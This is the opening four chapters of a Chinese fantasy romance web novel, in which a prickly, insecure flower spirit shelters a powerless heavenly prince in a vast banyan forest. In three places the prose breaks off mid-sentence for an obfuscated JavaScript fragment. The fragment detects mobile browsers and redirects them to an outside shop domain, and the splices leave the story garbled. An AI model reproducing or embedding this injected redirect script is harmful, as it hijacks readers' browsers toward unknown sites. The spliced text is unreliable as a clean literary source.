《我们反派才不合群》 1. 第一章 小花妖是在自家的院子后面捡到观止的。 那时候她刚刚和榕树爷爷吵了一架回来,正蹲在自己院子里哭,屋外还都是她驱赶蛇虫的药粉味道,呛得她一边哭一边咳嗽。 也就在这个时候,随着啪嗒一下,她的屋顶被砸了一个洞,她看到一团白色的东西就从翠绿的天空中跌落下来,簌簌落了好多的叶子,她听到榕树爷爷“哎呦哎呦”的叫着,似乎在不满这个人砸落了他的枝叶。 无尽森是榕树爷爷的地盘,他们每个小妖都长在这颗老榕树的下面,榕树的枝叶几乎遍布了整个无尽森,只要榕树爷爷愿意,他可以听见每一朵花每一株草每一只小动物的声音。 榕树也真的长得太大太大了,也活得太久太久了,虽然他的枝叶替他们遮挡了风雨,但也遮住了阳光,抬头的时候只能看见翠绿的天,还有无所不在的,被凉雾弥漫出的绿色的光。 小花妖从来没见过有什么东西能让榕树爷爷掉了这么多枝条。 她有些好奇,连自己房子被砸出一个大洞也没有在意,此刻她只想看看到底落下了一个什么样的人。 小花妖过去一看,就发现那个人已经从她房间里站起来了。 他身上穿着一身白色的带着流云纹样的衣袍,头上戴着镶着宝珠的白玉素银发冠,两侧还垂下银色的链条,隐藏在乌黑的头发里,看起来还怪好看的。 见她过来,那人便对她拱手行了一个礼:“在下观止,误入此地,不慎打搅了姑娘,不知此处何地?” 小花妖就定定看着他。 他叽里呱啦说得那些她有些没有太懂,但是只觉得面前这个人怪好看的,无尽森都是一些和她一样的小妖怪,他们不会梳头发,发型也有些乱七八糟。 不过隔壁的柳絮姐姐有时候会去外面买画本,小花妖看过几次,感觉画本里的人似乎就是这样的打扮。 甚至面前的这个人似乎感觉好看一些。 让她想到无尽森淅淅沥沥的雨天,不是真的下雨,而是榕爷爷在抖落自己身上的雨水,当这片翠绿雨水洗濯以后,就会变得更深了一些,看起来湿漉漉却又明艳艳的,合着一点迷蒙水气,让她觉得很喜欢。 她安静看着他很久,四周只余下吹拂树叶的沙沙声,以及无所不在的榕树嗡鸣声,仿佛一切都安静了下来,直到那双清透的眼睛望着她足足好一会,她蓦然反应过来,按道理自己现在是要回话了。 但是他刚刚……说了什么来着? 小花妖脸色不禁涨红,正想给他开口解释,却又卡了壳,但眼前这个大漂亮似乎看到了她此刻的窘迫,他微微一笑,仿佛什么都没发生一样,再次重复:“在下观止,不知此处是何地。” 哦,这下听懂了。 “无尽森。”小花妖这样说。 一息、两息、三息。 她没有开口,这个叫做观止的漂亮人也没有开口,直到过了一会,他似乎才明白了什么,再度询问:“敢问姑娘这无尽森处于何地?可是人族地界?” “人族?”小花妖挠了挠头,“我不知道啊,这里就是榕树爷爷的地盘,什么叫什么地界。” 她感觉到对方又沉默了片刻。 然后他又重新开口:“依照姑娘的意思,此地便归你口中的‘榕树爷爷’管辖,不知这位榕仙隶属何方?” 他说的话却让她越来越无法回答了:“大概……大概是……” 或许是面前的人太好看,或许是周围太安静,一句“不知道”就卡在喉咙里,让她无法说出。 她低着头看着脚尖,脚下的榕树叶总是从天上不分四季的落下,长年累月的积攒在地面上,就变成了一块柔软的毯子,上面还覆盖着一层层绿油油的苔藓,她重重踏过地面的时候,毯子也能很快恢复原状。 仿佛是以一种缓慢的韧劲,将她的力道包裹化解,再将凉丝丝的厚实从她鞋底传了上来。 此刻,她就一下下重重地踩着地面,感觉着缓慢且沉闷的回弹,想要寻找一个有用的话,但是直到脚下羽毛般的小草被她碾成了泥,彻底融入柔软的地面里,她都没有找到答案。 “在下明白了。” 这个大漂亮如她所愿的没有再问下去,只是轻轻一挥手,小花妖就看见之前散落一地的木材忽然凌空飞起,就在空中自行组合,最后她小屋的破洞被补好,而且还扩容了一倍。 比隔壁柳树家……不,比她见过无尽森里所有的房子都要好。 小花妖震惊了,她赶紧摆了摆手:“我不用的,我没有帮你什么,这些……” 她想说自己没帮上他,实在不需要这个“谢礼”但是一看到他笑的样子,就忽然吞了回去。 面前的人实在太好看,这般看着她时候,让她想起是她偶然出去的时候,看到的无尽森外面的明月——不是榕树叶细碎的切割后的几乎分不清的斑驳迷蒙,而是一个玉盘一样高悬于天,透亮清澈,好看的不得了。 让她觉得此刻自己拒绝似乎都打破了这个美好的画面,是一个错误。 但是她不能这样—— 她急急地喘了口气,想了好半天,总算想到了之前从柳絮姐姐画本里看来的词儿:“书上说……说‘无功不受禄’的。我就只说了两句话,不值得……这么多的。” 后面两个字莫名其妙越来越轻,她又低下头看脚尖,一下下轻轻踢着刚刚冒出来的羽毛般蕨草,觉得自己在他面前看起来简直就是一朵笨蛋花。 “打搅了姑娘,自然要偿还,”那个叫做观止的人却只是温和的笑了笑,他笑容浅淡,就像是她见过的天边的流云,轻轻飘飘的,又像是山里的烟雾,飘飘渺渺就从她眼里飘了过去,带了一点郑重,“只是今日见过在下之事,还请姑娘保密。” 这句她听懂了,觉得自己能做什么了,立刻就点了点头。 她没有什么朋友,实在没处可以和人闲聊,再说她干嘛要没事闲着说这个事情,说自己房子被人砸了一个大洞吗? 或许是见她点头了,观止又对她露出那流云一般的笑意,然后就拱了拱手,像是要离开了。 小花妖立刻退到一旁,给他让出一个大大的位置。 一、二、三…… 没走出几步,“咣当”一下,他又重新摔了下来,直接陷入地面,榕叶和苔藓向两边散开,撞出一个凹陷,发出沉闷的响声。 但是声音很快就消失了,仿佛刚刚冒出头就被榕叶的柔软吞没的蕨草。 看着面前毫无征兆砸下来的人,小花妖懵了片刻,然后一拍脑门,想起来了。 哇,糟糕。 她之前为了防止隔壁蛇虫过来,特意在房子周围撒了药粉,该不会这个大漂亮也是蛇虫鼠蚁,被她毒昏迷了吧! * 等到观执再睁开眼的时候,发现自己还在那片森林里。 周围是满目的翠绿,榕树根系繁复,抬头的时候,看不到天空,只能看到满目的榕叶,还有一片弥漫般的绿光。 他手掌搭在湿冷柔软的地面,触感是毛茸茸的苔藓,平平一按也按不到底,只能感觉到一片柔软沉闷的潮湿,他想要起来,但是身体却像是被什么东西裹住,仿佛有无数根针封印了他的灵脉,让他使不出一点力气。 他这是……灵力被封印了? 观执心中闪过难得的惊愕。 他试图凝神内视,但是灵脉深处却像是被裹了一层又一层如同针扎般的枷锁,竟然让他施展不出任何一道灵力,仿佛是什么东西,从心底里长出,将他的灵力禁锢,也就在这片痛楚里,一个画面忽然涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125831|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入他的脑海。 那是他在归墟上遇见的小魔君,那新上任的小魔君就浑不吝叼着一根草,身边匍匐着他那魔宠黑蛇,丝丝吐着信子,而他扛着缀着连环的长枪挑着眉看他。 “天族太子,天道执掌,你觉得你是什么玩意,你还是谁?” 观天之道,执天之行,是为观执。 从他出生开始,就被定为天道的执掌者,自然而然也就成了下任的天君。 他自然知道自己是谁。 但是,从来没有人问过他这个问题,所以当小魔君问他的时候,他心中闪过片刻的迟疑,也正是在这个迟疑,他的道心竟被撬开有一道缝隙,当对方掌风袭来的时候,他没有来得及躲开。 看着此刻雾蒙蒙的绿,观执心中闪过一猜测 ——现在这一切,这难道是小魔君的手笔? 不,不可能,小魔君那一掌不足以伤他,世上也没有谁可以封印他的灵气,是他道心不稳才给他带来了可乘之机。 观执闭了闭眼,等到再睁开的时候,那浅浅如同明月蒙尘般的惊愕褪去,他又恢复往常那般从容得体的模样。 哪怕此刻头顶落着杂草,身上白衣也满是泥土,虽然躺在这树根中间,模样狼狈,却依然得体,如同蒙尘的琉璃,笼着云雾的明月。 他此刻无法运行灵气清理,只能扶着旁边的篱笆站起来,用手抖落了衣服上的灰尘,仿佛此刻只是随手拂去明珠上的灰尘。 “你醒啦?”这时候,伴随着叮叮当当流水般的风铃声,他抬起头,就看见方才那个小花妖捧着一碗药汤模样东西从房间里面过来。 之前他没有细看,如今仔细看去,发现这小花妖头发有些卷,看起来就凌乱扎在两旁,上面只有绿色的叶子和一点毛绒的发饰。 她鼻梁上面带了一点浅薄的红印,仿佛是天生的胭脂。 此刻她就捧着一个粗糙的,破了一个口的陶碗站在他面前,眼睛有些心虚,手却把那碗黑漆漆热腾腾药朝着他面前推了推:“给你。” 观执没有接。 他向来喜怒不形于色,但是此刻眼中却难掩愕然。 以他之能,万物在他眼中皆有本源灵光,草木精怪,一目了然。 之前他没在意,然而此刻他才发现,面前这个小花妖……身影在他眼里影影绰绰,如同雾里看花,水中捞月,他想要去瞧,视线却像落入一片迷蒙的深海,仿佛是看一缕看不见的风,抓一道流动的溪水。 不是看不到,而是他居然无法“定义”她的存在。 * 感觉到他的目光落在自己发顶,小花妖垂着脑袋,有些心虚。 这该不是怪她不禁把他毒倒了,还把他丢在外面吧? 旁边的漂亮大房子还历历在目,小花妖就更加心虚。 但是她又不是故意的。 “这个药喝了就好了,”小花妖垂着脑袋,想了想,她还是试图解释了一下,“我不知道会有人来,药粉就多放了一点点。” 观执没懂她口中的药是什么意思,只是扫了一眼那黑漆漆药汤,之后又把目光放在她身上,他斟酌片刻,目光沉沉落在她身上。 小花妖有些不太懂,只能看见他眼里似乎藏着什么,这样看了她好一会,才若有所思的询问:“不知姑娘习得何种法术,天资聪颖,灵气纯粹,为何居于此地?” 天资……聪颖? 小花妖听着他平稳说着话,却感觉到一颗心被揪紧,然后被放开,她脑海一阵乱转,直到最后,脑子一震,如同小猫咪被踩到了尾巴一样,她猛然反应过来,连忙摆了摆手,急切地对他说:“不聪颖不聪颖千万不要这么说,我很笨的,一点也不聪明,学东西都慢一拍,真的不聪明!” 观执:“……?” 2. 第二章 面前这个不知来历的小花妖急切看着他,努力解释着,像是在他说了什么了不得的重要事情。 “天资灵动……可能是榕树爷爷吧,”像是抓到了什么光,小花妖尽职尽责解释,“我们无尽森都是榕爷爷护佑,身上沾惹了一些,我不聪明的,我也没有那个……那个,哦对了,师承。” 末了,还目光炯炯看着他,一副严阵以待的模样,认真解释的模样近乎荒唐。 “所以我真的没有天资,你不要、不要误会了。” 那一瞬间,观执都不知道她到底是真傻还是装傻。 他执掌天道多年,从来没见过有人会因为被夸赞而慌成这样,仿佛这不是夸赞,而是什么烫手的,需要立刻抛却的罪名。 照理说问一个草木花树原型很是没有礼貌,但观执却忽然觉得面前这个小花妖眼睛干净得过分,任何迂回试探都是徒劳。 既然如此,那便罢了。 “姑娘也是榕树化形?”见她如此,观执直接放弃含蓄,单刀直入地询问,但是目光却放在她身上,像是不肯放过她脸上的任何变化。 然而他话音刚落下,原本还急切的小花妖却忽然松了表情,她似乎有些恍惚,还有些发愣,然后一点点松开了原本绞着自己衣襟的手,然后轻轻的“嗯”了一声,小声嗫嚅:“……不是。” 观执眉眼微动,但是笑容还是柔和:“那敢问姑娘……” “不说这个了!”小花妖却忽然抬起头,拙劣地在他面前转移话题,“你被我的药粉刚刚昏迷了,虽然没什么大事,但是你还是把药喝了吧。” 见她再次说起这事,观执目光微动,也发现其中的分歧,暂时也不再继续追问,只是顺着她的话回应,不禁询问:“……药粉?” 完了完了,听到那心平气和的话音,小花妖又拽紧了袖子,心也跟着沉了沉。 过去她被训斥的时候,他们总是这样先用看起来心平气和的语气提问,等她放松下来的时候却又斥责她,像是把她高高提起,又重重摔下。 如今他也铺垫不多了,按照以往经验,他一定要问责了,她也早就习惯了这些,就放任自己耷拉脑袋,等待之后的训斥,只想着早点说完早点结束。 但是出乎意料的,对方却像是反应过来什么一样,微微笑了下:“姑娘怕是误解了,”他抬起手,扶着胸口咳嗽了几声,“是我有伤在身,和姑娘无关,只是如今伤势未愈,不知可否在此叨扰几日?” 原来不是训斥她啊…… 小花妖松了一口气,但是又因为他的话紧张起来,他要在这里住几日吗? 想到这个大漂亮就在她身边住下,小花妖觉得很开心,但是一个念头却又驱动着她莫名涨红了脸,直到周围只剩下风声,再次见他用那定定的眼神看着自己,方才回过神来,自己还没回复他呢:“好,”话音刚落,又害怕他以为自己刚刚那是犹豫的婉拒,为了表达心意,她又赶紧接了一句,“我给你去准备床铺。” 观执就笑了笑:“有劳。” 过了片刻,他又笑容和煦地开口询问:“此地既然归属榕树仙管辖,在下是否要先去拜过?” “哈哈,不用不用,”话音刚落,一个苍老但是健硕的声音就从头顶传来,沙沙的笑声如风,吹过凉雾般的绿光,“后生好好在这里修养吧,无尽森不管这些,不管这些。” 观执抬起头,这才发现头顶遮天蔽日都是榕树的枝条,之前他还没有察觉,此刻方才确认,不管是头顶遮天蔽日的枝叶,还是脚下盘根错节的藤蔓,居然都来源于那棵榕树。 三界有这样的地方吗? 观执不禁有些困惑。 “床准备好啦,”小花妖此刻就从房间里出来,头发似乎因为方才行动更加凌乱了一些,毛茸茸的绒花就在头顶上摇摇欲坠,伴随着水流般的风铃撞击,她指了指里面,“大漂亮快去休息吧。” 观执这才回过神,他略微一颔首,再转过身,对着老榕树一拜:“那这几日便打扰了仙人了。” “哈哈,不打搅不打搅,”榕树抖着一身的树叶,带来窸窸窣窣的声音,似乎很开心,“无尽森好久没来新人了,后生且好生待着,大家都很会很开心的。” … 小花妖这地方还是…… 观执不动声色看着周围的布置,外面是榕树垂下的气根,被这小妖扎了一个木板做的秋千,沉重得几乎推不动。 而屋子外面虽然方才已经被他修过,但是里面却极其……质朴。 她桌上的碗不知道是哪里捡来的破口的陶瓷,床上的被子是用榕树叶和荷叶拼凑出的形状,就连那张小床,居然都是用歪歪斜斜的树枝拼凑出来的轮廓,一看就是摇摇晃晃不安稳。 “你先住这里吧,”小花妖摸了摸额头,像是想要遮挡什么,声音也放轻了一点,唯恐会惊扰到什么,她尽量用自己最稳定的声音开口,“药……药放凉了不好,你先喝。” 观执再看了看那碗黑漆漆的药汁,目光再不动声色落在她身上微笑点头:“好。” 明明这是她的房间,可是小花妖被他看得有些不好意思,小花妖想,或许是因为他刚刚给她修了房子,她拿人家手短,所以才不太好意思,也或许是他生得太过好看,让她有些不知道此刻应该说些什么做些什么。 但无论是哪个原因,她最后只能垂着脑袋灰溜溜留下一句“好好休息”就飞快出了房门。 看着她离开以后,观执方才端起之前那碗药,因为无尽森被榕树遮天蔽日遮挡了不少阳光,里面潮湿幽冷,方才还热气腾腾的药碗此刻就有了凉意。 他没有喝,只是凑近闻了闻。 并没有什么特别的药材,如她所说,只是几味寻常的解药。 但是他并不觉得她口中那些所谓的“药粉”可以让他陷入昏迷,更别提禁锢了他的灵力。 这树林看似和平,但是处处透露出古怪,加上他看不透的花妖真身,还需小心应对才是。 他端着药毫不客气全部浇在角落的树根旁,直到看见那苔藓吸饱了苦药,变成一片深色,方才重新站起来。 “哎呀哎呀,后生不地道啊,怎么让我老树喝这么苦的药,”他刚刚起来,就听见身旁老树传来埋怨的声音,不消片刻,刚刚被他倒了的苦药,全部从泥土里出来,重新汇入他碗里,甚至上面还多了一团苔藓和腐败的落叶。 观执:“……” “可不要惹那个丫头,”老榕树看似神秘兮兮严正以待又心有余悸地开口,“要知道那丫头可是……” 话音未落,前面忽然传来一声尖叫,惊扰了树上的鸟雀。 “我为什么要去?”小花妖的尖细声音远远从前面传来,“再说了上次你儿子不是骂榕树爷爷也没道歉!” 话音刚落,观执隐约察觉到空气里飘散过来一种说不清道不明的古怪气息,似乎和这里原本的湿冷完全不同,而是一点如海浪的潮湿阴冷。 然后便是红着脸飞奔而来的小花妖。 这是小花妖被欺负了? 毕竟此刻自己住在这里,于情于理,观执都觉得要过去看看,然而刚刚想要上前,却被榕树的树叶拦住了去路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125832|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “等等,先别去。” 观执有些困惑,想起小花妖那怯懦的表情,他觉得此刻她应该害怕,身为森林执掌者,榕树既然全知全能,理应护好这些生灵。 他心中有些不满榕树作法,但是修养让他忍了下来,一如既往地从容得体,和煦开口:“小花妖性子纯善,或许会害怕,烦请仙人放行,在下……” 话音未落,观执就看见小花妖红着眼睛跑来,身后一个……还跟着一个脸色惊恐的柳树精。 那股海风的味道就越发清晰。 观执还没清楚这个到底是怎么一回事,就看见小花妖察觉到后面柳树跟着,如同被踩了尾巴的狐狸,几乎就要跳起来:“别过来不许过来不要靠近我!” 话音刚落,观执就看见周围快速长出荆棘,连带小花妖身上都炸开如同针刺一样的毛绒绒。 但是上面不是温软的柳絮,而是一个个刺猬模样的钢针。 她就顶着这一身“钢针”一边哭一边爆开越来越多的针,密密麻麻,几乎把她整个身型都要覆盖,也把柳树精的周围盖满。 “明明是你上次也说榕树爷爷挡阳光了为什么要我说这话我就要道歉凭什么我不要我没有我呜呜呜。” 小花妖一边哭一边爆针,声音都不带喘息,柳树左闪右躲却无法逃离那些“钢针”,直到最后被这些钢针牢牢锁住,小花妖却还在哭,哭得真切实意,好像遭受了天大委屈,和她那一身不可理解的力量截然相反。 “呜呜呜你们都这样你们只会要求我呜呜呜。” 看着这个场景,观执:“………” “就是这样,”老榕树声音此刻就响在他耳边,榕叶被风吹得沙沙作响,像是一个老者摊开了手臂,“所以我说了,千万不要惹她。” … 柳树刚刚找到她的时候,是一副若有所思的样子,又和她东拉西扯,小花妖觉得有些奇怪,但是却又说不出哪里不对劲,于是她绷着意识,慢吞吞答应着,直到柳树从他家柳絮开始说到过冬的粮食,最后方才试探性说出那句话。 他笑着,用一副近乎长辈的模样看着她,然后似乎又谨慎地、又故作轻松地提了一句:“你早上那么说榕树爷爷真的不好,哎,有时候那你说话前真的要想一想。” 小花妖意识顿时紧绷起来。 她知道了……她知道了,怪不得他之前东拉西扯那么多,原来就是为了说这么一句! 这么说榕树爷爷不好,可是可是,明明是榕树爷爷说她学法术慢还不如人间的盆栽。 再说她也没说错,无尽森都被榕树爷爷占满了,她得到阳光就不多,本来就不能好好修炼啊。 委屈混合着愤怒直上脑门,与此同时,她也感觉到了一种笑。 那是从四面八方笼罩而来地,从温和却又奚落的笑,将她从层层裹挟。 她挣脱不开,唯有声音从喉咙里破空而出。 ——我说挡阳光怎么了,明明他儿子也说过榕树挡阳光,大家都说过这些,凭什么只有她说的时候要道歉。 说这话的时候她完全没有理智,她觉得应该这么说,声音也就如此从喉咙里出来。 然而生完气,她就看到面前那个大漂亮从房间里出来。 小花妖一下子清醒了。 这些卑劣的、愤怒的、不礼貌的模样,就这样被他一览无余,最糟糕的样子毫不遮掩的呈现在了他的面前。 甚至从认识他到现在还没有一个时辰,她就直接暴露了本性。 呜呜呜。 小花妖更想哭了。 3. 第三章 直到她感觉周围风声渐熄,自己也抽抽搭搭地哭着,鼻涕眼泪落了一地,小花妖终于意识到了难言的安静。 不对,周围怎么这么安静? 她抬眼看去,面前大漂亮已经不见了,她心中顿时一慌,只觉得他是不是看穿了她拙劣的表演,终于看出她就是一朵不讨人喜欢的花,所以不打算搭理她了。 身后却传来那清冽如山林深处哗哗落下的瀑布声音。 “烦劳了……给阁下添麻烦,观止……”他说着她听不懂的话,但是仪态那么沉稳,声音也那么平静,就连道歉的时候都是带着笑意心平气和,如同春日里夹着融融阳光的风。 小花妖后知后觉地发现,他这是在道歉。 道歉……他是在帮她道歉? 她脸上瞬间有些火辣辣的疼,顿时一股没来由的心虚和后悔涌入她的脑海。 刚刚,她是不是不应该这么说柳树精,他也是为了她好,但是她却没有接受他的好意,反而还……还…… 小花妖想不下去了,她低着脑袋,就看着自己的脚尖。 等到这个大漂亮和柳树说完了话,朝着她走过来,小花妖还有些闷声闷气,她想说对不起,但是声音却堵在喉咙,最后干脆就开始自暴自弃。 算了,知道也好,省得她继续装了,她就是不讨喜、愚蠢又不礼貌的笨蛋花。 … 观执以在小花妖家中暂住的名义,自然而然行使了“照看”她的职责,也就借这个身份,旁敲侧击向柳树打听这个无尽森的事情,从柳树口中,他多少知道了一点消息。 无尽森一面靠近归墟,一面靠近人间,还有一面就在妖族的边界,可以说是三方一个交汇处,加上这片区域大多数都被老榕树占据,所以算是“三不管”的地带,并不隶属于哪一方。 这里居住的都是一些草木精灵,或者是山间的小型灵物。 看起来民风淳朴,并不是多么危险的地带。 观执稍稍放了心,然而等到他目光落到一旁一声不吭的小花妖身上以后,目光却还一点点收拢,表情也有些凝重起来。 他知道她的原身是什么了。 佛陀修罗莲,或者有个更广为人知的名字——碎骨莲。 形似蒲公英,但是每一根刺都有致命的毒素,若能修成人形,那便有了言出法随之能,一言可定乾坤,一语可戮众生,万年前的神魔大战中,往往一朵未成形的碎骨莲就能引得神魔抢夺。 碎骨莲的人形需要大量的灵气,当年就甚少有能修成人形,更何况如今天地间灵气日渐稀薄,碎骨莲几乎都已经绝迹。 却没想到,这里居然还有一株……已经修炼出人形的。 怪不得她刚刚不肯说自己原身。 意识到这个事情的时候,观执第一反应就是 ——这朵花绝对不能落在魔族手里。 … 小花妖再次感受到了观止探究的视线,她有些害怕,手里紧紧握着自己的衣角,心脏跳动不停,脑海里只剩下一个意识。 他这么看她,一定是在心里讨厌她,只是不好意思说,但是他不说她也知道,没有人喜欢这样不礼貌的暴躁花。 她捏着衣角,等待他的反应。 他会说什么呢,是训斥她刚刚的反应吗,还是因为其他人的话而无声无息地消失。 她对此已经太习惯了。 但是出乎意料地,什么都没发生,她抬起头,发现观执只是站在她面前,微笑地,温和地看着她,仿佛刚刚什么都没发生,他没有生气,也没有看不起她,只是如一开始那般温和开口:“说来冒昧,还未请教姑娘芳名。” 芳名……哦,名字,问她名字。 芳名,那应该就是花的名字。 小花妖卷着衣袖,低着头小声:“蒲公英。” 观执:? 听到这名字的瞬间,观执向来平稳无波的脸上闪过一丝微不可查的错愕。 “我,我是蒲公英,”小花妖尽量让自己声音听起来平稳轻松,故作无事的笑着,“榕树爷爷说我是从外面飘过来的,但是可能修炼出了差池,我的果实和种子成了针形,就……就有些……” 观执一直没有出声,安静等着她说,可是他越是温柔耐心,她的声音反而越来越轻,也越来越心虚。 怎么会有蒲公英长成这样奇怪的样子呢,他也一定要和其他人一样觉得她奇怪吧。 虽然她知道她就是长成这样,这么多年也习惯了自己和其他人不同,说起这些“特点”的时候也尽量轻松,但是说完全不在意,那是连自己都不信的。 但是若说是在意,她又能有什么办法呢,她已经变成这样了。 她声音轻了下来,最后干脆直接闭嘴了,反正说了那么多,他又不是听不懂,她又何必说完呢。 看着又不说话了,干巴巴闭上嘴的小花妖,观执面上的表情有些错愕。 他身为天道执掌,此刻哪怕灵力尽失,观人观物还有近乎本能的觉察,此刻这小花妖说起自己是蒲公英,只是“长得”和其他蒲公英不一样的时候,他几乎迎面而来的感觉到她身上那阴霾的气息,如海潮翻涌。 见多识广如他,向来从容不迫,遇上什么事从来都能说出一二,但是从来没有一个人,如同这小花妖一样,让他连连挫败,所有迂回曲折,谋略心术的试探都成了笑话。 眼前这朵小花妖,可能是真的,发自真心的觉得自己是一个长得不一样的“蒲公英”。 小花妖感觉到他又不说话了,她更加紧张。 这个大漂亮什么都好,就是有时候不说话让她怪紧张的。 但是他说话不像是榕树爷爷絮絮叨叨,也不像是隔壁柳树精总是叽叽歪歪找她说什么大道理,更不像隔壁的桃花姐姐她们对她冷嘲热讽的哄笑,总之就是说她哪哪都不对。 而安静站在那里听她把话说完,不会打断她的话,哪怕她说不下去了,声音越来越慢,他也没有不耐烦的问她“到底要说什么”。 小花妖不知道应该怎么应对这个情况。 这时候她的“刺”长不出来,哭也哭不出来,只剩下难以言说的迟疑。 好在大漂亮会总是会在她闭嘴一段时间接过话茬,譬如此时此刻,他就温和开口,语气轻柔得像是春日里温柔的风:“在下观姑娘天真烂漫,灵气丰足,绝非等闲之辈,姑娘聪颖,不应妄自菲薄。” 小花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125833|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖:“……” 他好像说了什么,应该是夸她的,但是她听不懂,也不知道应该怎么回答,应该说谢谢吗?但是他说了那么多,她就说一句谢谢是不是太敷衍了?小花妖脑子不断转着,苦思冥想很久,终于干巴巴挤出话来:“多,多谢公子谬赞,小花妖愧不敢当,定当……” 不对,定当这个词不对劲?那应该说什么来着? 小花妖再次迷茫了。 好在下一刻,她便又听见他笑了,像是微风吹过树叶,萧萧肃肃地:“无妨,”他再开口,“在下只是在说实话。” 小花妖:“……” 完蛋了,又没话了。 不对,不对,这时候她应该说点什么,那应该说点什么好呢? 小花妖看到放在一旁的那黑漆漆的药碗,然后眼睛一亮,声音瞬间就出来了:“你药还没喝吧,这都凉了,我再帮你热一热。” 听到这里,观执的脸色顿时变了,想到这药是什么东西,刚刚又是怎么“回来”的,他想说不用,但是这小花妖已经“当当当”地跑进去,直接点了火,还用灵力快速烧开了水。 然后把那一碗混杂泥沙的药温好,然后就用那豁口的碗盛满,眼睛巴巴的端到他面前,要他喝。 观执看了看这个小花妖头顶凌乱的头发,又看了看这碗黑漆漆的药,以及上面混杂的泥沙和枯叶,他艰难的哽了哽喉咙,想说不用,但是小花妖却忽然想到了什么:“哦,你是怕苦吧,没关系!” 她又“当当当”地跑进去,然后从柜子里拿出一个破了口的,不知道从哪里捡来的瓷罐,一打开,里面是几颗小小的蜜饯,看起来被仔细储存着,颜色都有些暗沉了,不知道放了多久。 “这是柳絮姐姐去人间的时候我求着她带的,一直放在那里,都舍不得吃,”小花妖看了看几颗宝贝蜜饯,说实话,她自己都舍不得吃,这几颗是最后的了,她宝贝的放在柜子里放了好久,每天就是拿出来看看,但是想起之前他挥手给自己建造的房子,觉得自己不能这么小气,所以心一横,就把罐子递到了他面前,一副破釜沉舟的决绝模样,“给你!” 观执:“……” 他觉得自己不应该接的,但是看着面前这个“忍痛割爱”的小花妖,拒绝的话却堵在了喉咙,竟然让他此刻不知应如何开口。 或许是她表情太过诚恳,或许是此刻“身陷囹圄”,也或许是她身上承载的那个“秘密”,让他此刻忘记了如何拒绝,就在她炯炯有神的目光里,居然喝下了那一碗从泥土里捞出来的苦药,以及不知道放了多少年的蜜饯。 一入口,他差点吐出来。 一股腐烂的苦味从舌尖绽开,然后是泥土的腥味,草木的青涩,以及一股蜜饯放置过久带来的微妙酒酸味直接堵上他的喉咙。 这蜜饯她到底放了多久,怎么会比这药的味道还奇怪! 但是看着小花妖圆圆的,清澈的眼睛直勾勾看着他,他无法当场就吐,只能艰难把蜜饯吞了进去。 直到最后吃完了,他甚至感觉自己天灵盖似乎都被这奇异的味道掀翻,偏偏他面上还维持着修养无法表现,只能艰难地露出一个有些僵硬的笑容。 “劳烦姑娘了。” 4. 第四章 无尽森的夜似乎来得很早,夜里一切都安静了下来,唯有榕树无所不在的嗡鸣的声持续存在。 月亮被树叶遮挡,但榕树在这时候移动自己的树叶,让那点月光从缝隙里如薄雾般的弥漫开来,如同濛濛细雨一般洒落,他就借着这点月光在床边打了好久的坐。 但是实在太少了,这点光远不能让他冲破自己体内的枷锁。 此刻他身上灵力全无,身边又有这么一朵危险的花,也不知道小魔君什么时候会找到这里,若是被他们找到……那将不堪设想。 万年前,碎骨莲就已经绝迹,但即便在没有绝迹之前,碎骨莲也更多倾向于魔界,力量更接近于归墟中的混沌之力,是魔族的征战利器。 对于天族来说,那便无疑隶属魔族。 观执执掌天道,要得便是维持天地平和,加上天族殿下身份,自然要维系天族的利益,不可因自己私心徇私,他行事果决,有时候行动也会难以“狠心”一些,若是放在平日里,他并不介意直接“了结”这朵花。 但是此刻,他却有些迟疑了。 他站起身,透过一旁的门,看到隔壁小花妖蜷缩在一片荷叶之上的睡姿。 她似乎有些冷,此刻蜷缩在荷叶之上,那一身的刺都乖巧收起,安安静静睡着,唯有绵长的呼吸。 她应该把唯一的“床”和“被子”都让给了他。 想到这里,观执那颗万年不变的道心忽然一动,产生了一股如涟漪一般的犹疑。 这样一朵纯粹的近乎“愚笨”的花,到底能掀起什么风浪。 “后生,后生。”伴随着树叶沙沙响动,观执听到了头顶传来的声音,是老榕树在外面唤他。 说来观执也有些好奇,对于这样一个无所不在的存在,这里的精怪们难道不会因为感到不适,觉得被束缚了自由吗? 但是心中虽是这么想,面上依然古井无波,出了门,他便对着榕树微微颔首:“不知榕仙有何事吩咐在下?” 榕树就笑笑,伴随着树叶沙沙声,观执就感觉他枝叶里凝了一点清灵之气,朝着他手心送去。 “老夫刚刚察觉到你在养伤,这是刚刚收集到月华之气,你且先用着。” 